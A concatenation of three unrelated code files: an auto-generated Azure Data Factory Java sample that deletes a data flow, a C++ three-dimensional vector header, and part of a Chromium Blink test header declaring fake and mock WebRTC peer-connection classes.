// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
// Code generated by Microsoft (R) AutoRest Code Generator.

package com.azure.resourcemanager.datafactory.generated;

import com.azure.core.util.Context;

/** Samples for DataFlows Delete. */
public final class DataFlowsDeleteSamples {
    /*
     * x-ms-original-file: specification/datafactory/resource-manager/Microsoft.DataFactory/stable/2018-06-01/examples/DataFlows_Delete.json
     */
    /**
     * Sample code: DataFlows_Delete.
     *
     * @param manager Entry point to DataFactoryManager.
     */
    public static void dataFlowsDelete(com.azure.resourcemanager.datafactory.DataFactoryManager manager) {
        manager
            .dataFlows()
            .deleteWithResponse("exampleResourceGroup", "exampleFactoryName", "exampleDataFlow", Context.NONE);
    }
}


text:
#pragma once

#include <vector>
#include <string>
#include <sstream>
#include <cmath>

using namespace std;

/*
3 dimensional vector
each method is self describing
*/
class Vector{
public:
    double x, y, z;

    // constructor
    // param x_: the x component
    // param y_: the y component
    // param z_: the z component
    Vector(double x_=0, double y_=0, double z_=0):x(x_),y(y_),z(z_){
    }
    // commonly understood: this -= b
    // param b: input Vector
    // return: this
    Vector& operator-=(const Vector& b){
        x-=b.x;
        y-=b.y;
        z-=b.z;
        return *this;
    }
    // commonly understood: mid point of between this and b
    // param b: input Vector
    // return: mid vector between this and b
    Vector mid(const Vector& b){
        return Vector((x+b.x)/2,(y+b.y)/2,(z+b.z)/2);
    }
    // return: length of this vector
    double length() const{
        return sqrt(x*x+y*y+z*z);
    }
    // commonly understood: this += b
    // param b: input Vector
    // return: this
    Vector& operator+=(const Vector& in){
        x += in.x;
        y += in.y;
        z += in.z;
        return *this;
    }
    // commonly understood: this *= b
    // param b: input Vector
    // return: this
    Vector& operator*=(double in){
        x*=in;
        y*=in;
        z*=in;
        return *this;
    }
    // return: string representation of this vector
    string tostring(){
        ostringstream out;
        out << "<" << x << "," << y << "," << z << ">";
        return out.str();
    }

    // Calculate cross production between this vector and another
    // param in: the vector to do cross production with
    // return: cross product of this vector with in
    Vector cross(const Vector& in){
        return Vector(y*in.z-z*in.y,z*in.x-x*in.z,x*in.y-y*in.x);
    }

    // Calculate dot production between this vector and another
    // param in: the vector to do dot production with
    // return: dot product of this vector with in
    double dot(const Vector& in){
        return x*in.x+y*in.y+z*in.z;
    }
    // get consine of angle wrt in
    // param in: vector to which angle will be measured
    double cosine(const Vector& in){
        return dot(in)/length()/in.length();
    }
};

// Calculate summation of two vectors
// param lhs: the input vector
// param rhs: the vector to be added
// return: lhs + rhs
inline Vector operator+(Vector lhs, const Vector& rhs){
    lhs += rhs;
    return lhs;
}

// Calculate subtraction of two vectors
// param lhs: the input vector
// param rhs: the vector to be subtracted
// return: lhs - rhs
inline Vector operator-(Vector lhs, const Vector& rhs){
    lhs -= rhs;
    return lhs;
}

// Calculate product of one vector and one double value
// param lhs: the vector
// param rhs: the double value
// return: lhs * rhs
inline Vector operator*(Vector lhs, double rhs){
    lhs *= rhs;
    return lhs;
}


text:
namespace blink {

class MockPeerConnectionDependencyFactory;
class MockStreamCollection;

class FakeRtpSender : public webrtc::RtpSenderInterface {
 public:
  FakeRtpSender(rtc::scoped_refptr<webrtc::MediaStreamTrackInterface> track,
                std::vector<std::string> stream_ids);
  ~FakeRtpSender() override;

  bool SetTrack(webrtc::MediaStreamTrackInterface* track) override;
  rtc::scoped_refptr<webrtc::MediaStreamTrackInterface> track() const override;
  rtc::scoped_refptr<webrtc::DtlsTransportInterface> dtls_transport()
      const override;
  uint32_t ssrc() const override;
  cricket::MediaType media_type() const override;
  std::string id() const override;
  std::vector<std::string> stream_ids() const override;
  std::vector<webrtc::RtpEncodingParameters> init_send_encodings()
      const override;
  webrtc::RtpParameters GetParameters() const override;
  webrtc::RTCError SetParameters(
      const webrtc::RtpParameters& parameters) override;
  rtc::scoped_refptr<webrtc::DtmfSenderInterface> GetDtmfSender()
      const override;
  void SetTransport(
      rtc::scoped_refptr<webrtc::DtlsTransportInterface> transport) {
    transport_ = transport;
  }

 private:
  rtc::scoped_refptr<webrtc::MediaStreamTrackInterface> track_;
  rtc::scoped_refptr<webrtc::DtlsTransportInterface> transport_;
  std::vector<std::string> stream_ids_;
};

class FakeRtpReceiver : public webrtc::RtpReceiverInterface {
 public:
  FakeRtpReceiver(rtc::scoped_refptr<webrtc::MediaStreamTrackInterface> track,
                  std::vector<rtc::scoped_refptr<webrtc::MediaStreamInterface>>
                      streams = {});
  ~FakeRtpReceiver() override;

  rtc::scoped_refptr<webrtc::MediaStreamTrackInterface> track() const override;
  rtc::scoped_refptr<webrtc::DtlsTransportInterface> dtls_transport()
      const override;
  std::vector<rtc::scoped_refptr<webrtc::MediaStreamInterface>> streams()
      const override;
  std::vector<std::string> stream_ids() const override;
  cricket::MediaType media_type() const override;
  std::string id() const override;
  webrtc::RtpParameters GetParameters() const override;
  bool SetParameters(const webrtc::RtpParameters& parameters) override;
  void SetObserver(webrtc::RtpReceiverObserverInterface* observer) override;
  void SetJitterBufferMinimumDelay(
      absl::optional<double> delay_seconds) override;
  std::vector<webrtc::RtpSource> GetSources() const override;
  void SetTransport(
      rtc::scoped_refptr<webrtc::DtlsTransportInterface> transport) {
    transport_ = transport;
  }

 private:
  rtc::scoped_refptr<webrtc::MediaStreamTrackInterface> track_;
  rtc::scoped_refptr<webrtc::DtlsTransportInterface> transport_;
  std::vector<rtc::scoped_refptr<webrtc::MediaStreamInterface>> streams_;
};

class FakeRtpTransceiver : public webrtc::RtpTransceiverInterface {
 public:
  FakeRtpTransceiver(
      cricket::MediaType media_type,
      rtc::scoped_refptr<FakeRtpSender> sender,
      rtc::scoped_refptr<FakeRtpReceiver> receiver,
      base::Optional<std::string> mid,
      bool stopped,
      webrtc::RtpTransceiverDirection direction,
      base::Optional<webrtc::RtpTransceiverDirection> current_direction);
  ~FakeRtpTransceiver() override;

  void ReplaceWith(const FakeRtpTransceiver& other);

  cricket::MediaType media_type() const override;
  absl::optional<std::string> mid() const override;
  rtc::scoped_refptr<webrtc::RtpSenderInterface> sender() const override;
  rtc::scoped_refptr<webrtc::RtpReceiverInterface> receiver() const override;
  bool stopped() const override;
  webrtc::RtpTransceiverDirection direction() const override;
  void SetDirection(webrtc::RtpTransceiverDirection new_direction) override;
  absl::optional<webrtc::RtpTransceiverDirection> current_direction()
      const override;
  void Stop() override;
  void SetTransport(
      rtc::scoped_refptr<webrtc::DtlsTransportInterface> transport);

 private:
  cricket::MediaType media_type_;
  rtc::scoped_refptr<FakeRtpSender> sender_;
  rtc::scoped_refptr<FakeRtpReceiver> receiver_;
  absl::optional<std::string> mid_;
  bool stopped_;
  webrtc::RtpTransceiverDirection direction_;
  absl::optional<webrtc::RtpTransceiverDirection> current_direction_;
};

class FakeDtlsTransport : public webrtc::DtlsTransportInterface {
 public:
  FakeDtlsTransport();
  rtc::scoped_refptr<webrtc::IceTransportInterface> ice_transport() override;
  webrtc::DtlsTransportInformation Information() override;
  void RegisterObserver(
      webrtc::DtlsTransportObserverInterface* observer) override {}
  void UnregisterObserver() override {}
};

// TODO(hbos): The use of fakes and mocks is the wrong approach for testing of
// this. It introduces complexity, is error prone (not testing the right thing
// and bugs in the mocks). This class is a maintenance burden and should be
// removed. https://crbug.com/788659
class MockPeerConnectionImpl : public webrtc::DummyPeerConnection {
 public:
  explicit MockPeerConnectionImpl(MockPeerConnectionDependencyFactory* factory,
                                  webrtc::PeerConnectionObserver* observer);

  // PeerConnectionInterface implementation.
  rtc::scoped_refptr<webrtc::StreamCollectionInterface> local_streams()
      override {
    NOTIMPLEMENTED();
    return nullptr;
  }
  rtc::scoped_refptr<webrtc::StreamCollectionInterface> remote_streams()
      override {
    NOTIMPLEMENTED();
    return nullptr;
  }
  bool AddStream(webrtc::MediaStreamInterface* local_stream) override {
    NOTIMPLEMENTED();
    return false;
  }
  void RemoveStream(webrtc::MediaStreamInterface* local_stream) override {
    NOTIMPLEMENTED();
  }
  webrtc::RTCErrorOr<rtc::scoped_refptr<webrtc::RtpTransceiverInterface>>
  AddTransceiver(
      rtc::scoped_refptr<webrtc::MediaStreamTrackInterface> track) override {
    NOTIMPLEMENTED();
    return webrtc::RTCErrorOr<
        rtc::scoped_refptr<webrtc::RtpTransceiverInterface>>();
  }
  webrtc::RTCErrorOr<rtc::scoped_refptr<webrtc::RtpTransceiverInterface>>
  AddTransceiver(rtc::scoped_refptr<webrtc::MediaStreamTrackInterface> track,
                 const webrtc::RtpTransceiverInit& init) override {
    NOTIMPLEMENTED();
    return webrtc::RTCErrorOr<
        rtc::scoped_refptr<webrtc::RtpTransceiverInterface>>();
  }

  webrtc::RTCErrorOr<rtc::scoped_refptr<webrtc::RtpTransceiverInterface>>
  AddTransceiver(cricket::MediaType media_type) override {
    NOTIMPLEMENTED();
    return webrtc::RTCErrorOr<
        rtc::scoped_refptr<webrtc::RtpTransceiverInterface>>();
  }
  webrtc::RTCErrorOr<rtc::scoped_refptr<webrtc::RtpTransceiverInterface>>
  AddTransceiver(cricket::MediaType media_type,
                 const webrtc::RtpTransceiverInit& init) override {
    NOTIMPLEMENTED();
    return webrtc::RTCErrorOr<
        rtc::scoped_refptr<webrtc::RtpTransceiverInterface>>();
  }

  rtc::scoped_refptr<webrtc::RtpSenderInterface> CreateSender(
      const std::string& kind,
      const std::string& stream_id) override {
    NOTIMPLEMENTED();
    return nullptr;
  }

  webrtc::RTCErrorOr<rtc::scoped_refptr<webrtc::RtpSenderInterface>> AddTrack(
      rtc::scoped_refptr<webrtc::MediaStreamTrackInterface> track,
      const std::vector<std::string>& stream_ids) override;
  bool RemoveTrack(webrtc::RtpSenderInterface* sender) override;
  std::vector<rtc::scoped_refptr<webrtc::RtpSenderInterface>> GetSenders()
      const override;
  std::vector<rtc::scoped_refptr<webrtc::RtpReceiverInterface>> GetReceivers()
      const override;
  std::vector<rtc::scoped_refptr<webrtc::RtpTransceiverInterface>>
  GetTransceivers() const override {
    return {};
  }
  MOCK_CONST_METHOD0(GetSctpTransport,
                     rtc::scoped_refptr<webrtc::SctpTransportInterface>());
  rtc::scoped_refptr<webrtc::DataChannelInterface> CreateDataChannel(
      const std::string& label,
      const webrtc::DataChannelInit* config) override;

  bool GetStats(webrtc::StatsObserver* observer,
                webrtc::MediaStreamTrackInterface* track,
                StatsOutputLevel level) override;
  void GetStats(webrtc::RTCStatsCollectorCallback* callback) override;
  void GetStats(
      rtc::scoped_refptr<webrtc::RtpSenderInterface> selector,
      rtc::scoped_refptr<webrtc::RTCStatsCollectorCallback> callback) override;
  void GetStats(
      rtc::scoped_refptr<webrtc::RtpReceiverInterface> selector,
      rtc::scoped_refptr<webrtc::RTCStatsCollectorCallback> callback) override;

  // Call this function to make sure next call to legacy GetStats fail.
  void SetGetStatsResult(bool result) { getstats_result_ = result; }
  // Set the report that |GetStats(RTCStatsCollectorCallback*)| returns.
  void SetGetStatsReport(webrtc::RTCStatsReport* report);
  rtc::scoped_refptr<webrtc::DtlsTransportInterface> LookupDtlsTransportByMid(
      const std::string& mid) override {
    return nullptr;
  }

  SignalingState signaling_state() override {
    NOTIMPLEMENTED();
    return PeerConnectionInterface::kStable;
  }
  IceConnectionState ice_connection_state() override {
    NOTIMPLEMENTED();
    return PeerConnectionInterface::kIceConnectionNew;
  }
  IceConnectionState standardized_ice_connection_state() override {
    NOTIMPLEMENTED();
    return PeerConnectionInterface::kIceConnectionNew;
  }

  PeerConnectionState peer_connection_state() override {
    NOTIMPLEMENTED();
    return PeerConnectionState::kNew;
  }

  IceGatheringState ice_gathering_state() override {
    NOTIMPLEMENTED();
    return PeerConnectionInterface::kIceGatheringNew;
  }

  bool StartRtcEventLog(std::unique_ptr<webrtc::RtcEventLogOutput> output,
                        int64_t output_period_ms) override {
    NOTIMPLEMENTED();
    return false;
  }
  bool StartRtcEventLog(
      std::unique_ptr<webrtc::RtcEventLogOutput> output) override {
    NOTIMPLEMENTED();
    return false;
  }
  void StopRtcEventLog() override { NOTIMPLEMENTED(); }

  MOCK_METHOD0(Close, void());

  const webrtc::SessionDescriptionInterface* local_description() const override;
  const webrtc::SessionDescriptionInterface* remote_description()
      const override;
  const webrtc::SessionDescriptionInterface* current_local_description()
      const override {
    return nullptr;
  }
  const webrtc::SessionDescriptionInterface* current_remote_description()
      const override {
    return nullptr;
  }
  const webrtc::SessionDescriptionInterface* pending_local_description()
      const override {
    return nullptr;
  }
  const webrtc::SessionDescriptionInterface* pending_remote_description()
      const override {
    return nullptr;
  }

  // JSEP01 APIs
  void CreateOffer(webrtc::CreateSessionDescriptionObserver* observer,
                   const RTCOfferAnswerOptions& options) override;
  void CreateAnswer(webrtc::CreateSessionDescriptionObserver* observer,
                    const RTCOfferAnswerOptions& options) override;
  MOCK_METHOD2(SetLocalDescription,
               void(webrtc::SetSessionDescriptionObserver* observer,
                    webrtc::SessionDescriptionInterface* desc));
  void SetLocalDescriptionWorker(
      webrtc::SetSessionDescriptionObserver* observer,
      webrtc::SessionDescriptionInterface* desc);
  // TODO(hbos): Remove once no longer mandatory to implement.
  MOCK_METHOD2(SetRemoteDescription,
               void(webrtc::SetSessionDescriptionObserver* observer,
                    webrtc::SessionDescriptionInterface* desc));
  void SetRemoteDescription(
      std::unique_ptr<webrtc::SessionDescriptionInterface> desc,
      rtc::scoped_refptr<webrtc::SetRemoteDescriptionObserverInterface>
          observer) override {
    SetRemoteDescriptionForMock(&desc, &observer);
  }
  // Work-around due to MOCK_METHOD being unable to handle move-only arguments.
  MOCK_METHOD2(
      SetRemoteDescriptionForMock,
      void(std::unique_ptr<webrtc::SessionDescriptionInterface>* desc,
           rtc::scoped_refptr<webrtc::SetRemoteDescriptionObserverInterface>*
               observer));
  void SetRemoteDescriptionWorker(
      webrtc::SetSessionDescriptionObserver* observer,
      webrtc::SessionDescriptionInterface* desc);
  webrtc::PeerConnectionInterface::RTCConfiguration GetConfiguration() {
    NOTIMPLEMENTED();
    return webrtc::PeerConnectionInterface::RTCConfiguration();
  }
  webrtc::RTCError SetConfiguration(
      const RTCConfiguration& configuration) override;

  bool AddIceCandidate(const webrtc::IceCandidateInterface* candidate) override;
  void AddIceCandidate(std::unique_ptr<webrtc::IceCandidateInterface> candidate,
                       std::function<void(webrtc::RTCError)> callback) override;
  bool RemoveIceCandidates(
      const std::vector<cricket::Candidate>& candidates) override {
    NOTIMPLEMENTED();
    return false;
  }

  webrtc::RTCError SetBitrate(const webrtc::BitrateSettings& bitrate) override;

  void AddRemoteStream(webrtc::MediaStreamInterface* stream);

  const std::string& stream_label() const { return stream_label_; }
  bool hint_audio() const { return hint_audio_; }
  bool hint_video() const { return hint_video_; }
  const std::string& description_sdp() const { return description_sdp_; }
  const std::string& sdp_mid() const { return sdp_mid_; }
  int sdp_mline_index() const { return sdp_mline_index_; }
  const std::string& ice_sdp() const { return ice_sdp_; }
  webrtc::SessionDescriptionInterface* created_session_description() const {
    return created_sessiondescription_.get();
  }
  webrtc::PeerConnectionObserver* observer() { return observer_; }
  void set_setconfiguration_error_type(webrtc::RTCErrorType error_type) {
    setconfiguration_error_type_ = error_type;
  }
  static const char kDummyOffer[];
  static const char kDummyAnswer[];

 protected:
  ~MockPeerConnectionImpl() override;

 private:
  // Used for creating MockSessionDescription.
  MockPeerConnectionDependencyFactory* dependency_factory_;

  std::string stream_label_;
  std::vector<std::string> local_stream_ids_;
  rtc::scoped_refptr<MockStreamCollection> remote_streams_;
  std::vector<rtc::scoped_refptr<FakeRtpSender>> senders_;
  std::unique_ptr<webrtc::SessionDescriptionInterface> local_desc_;
  std::unique_ptr<webrtc::SessionDescriptionInterface> remote_desc_;
  std::unique_ptr<webrtc::SessionDescriptionInterface>
      created_sessiondescription_;
  bool hint_audio_;
  bool hint_video_;
  bool getstats_result_;
  std::string description_sdp_;
  std::string sdp_mid_;
  int sdp_mline_index_;
  std::string ice_sdp_;
  webrtc::PeerConnectionObserver* observer_;
  webrtc::RTCErrorType setconfiguration_error_type_ =
      webrtc::RTCErrorType::NONE;
  rtc::scoped_refptr<webrtc::RTCStatsReport> stats_report_;

  DISALLOW_COPY_AND_ASSIGN(MockPeerConnectionImpl);
};

}  // namespace blink

#endif  // THIRD_PARTY_BLINK_RENDERER_MODULES_PEERCONNECTION_MOCK_PEER_CONNECTION_IMPL_H_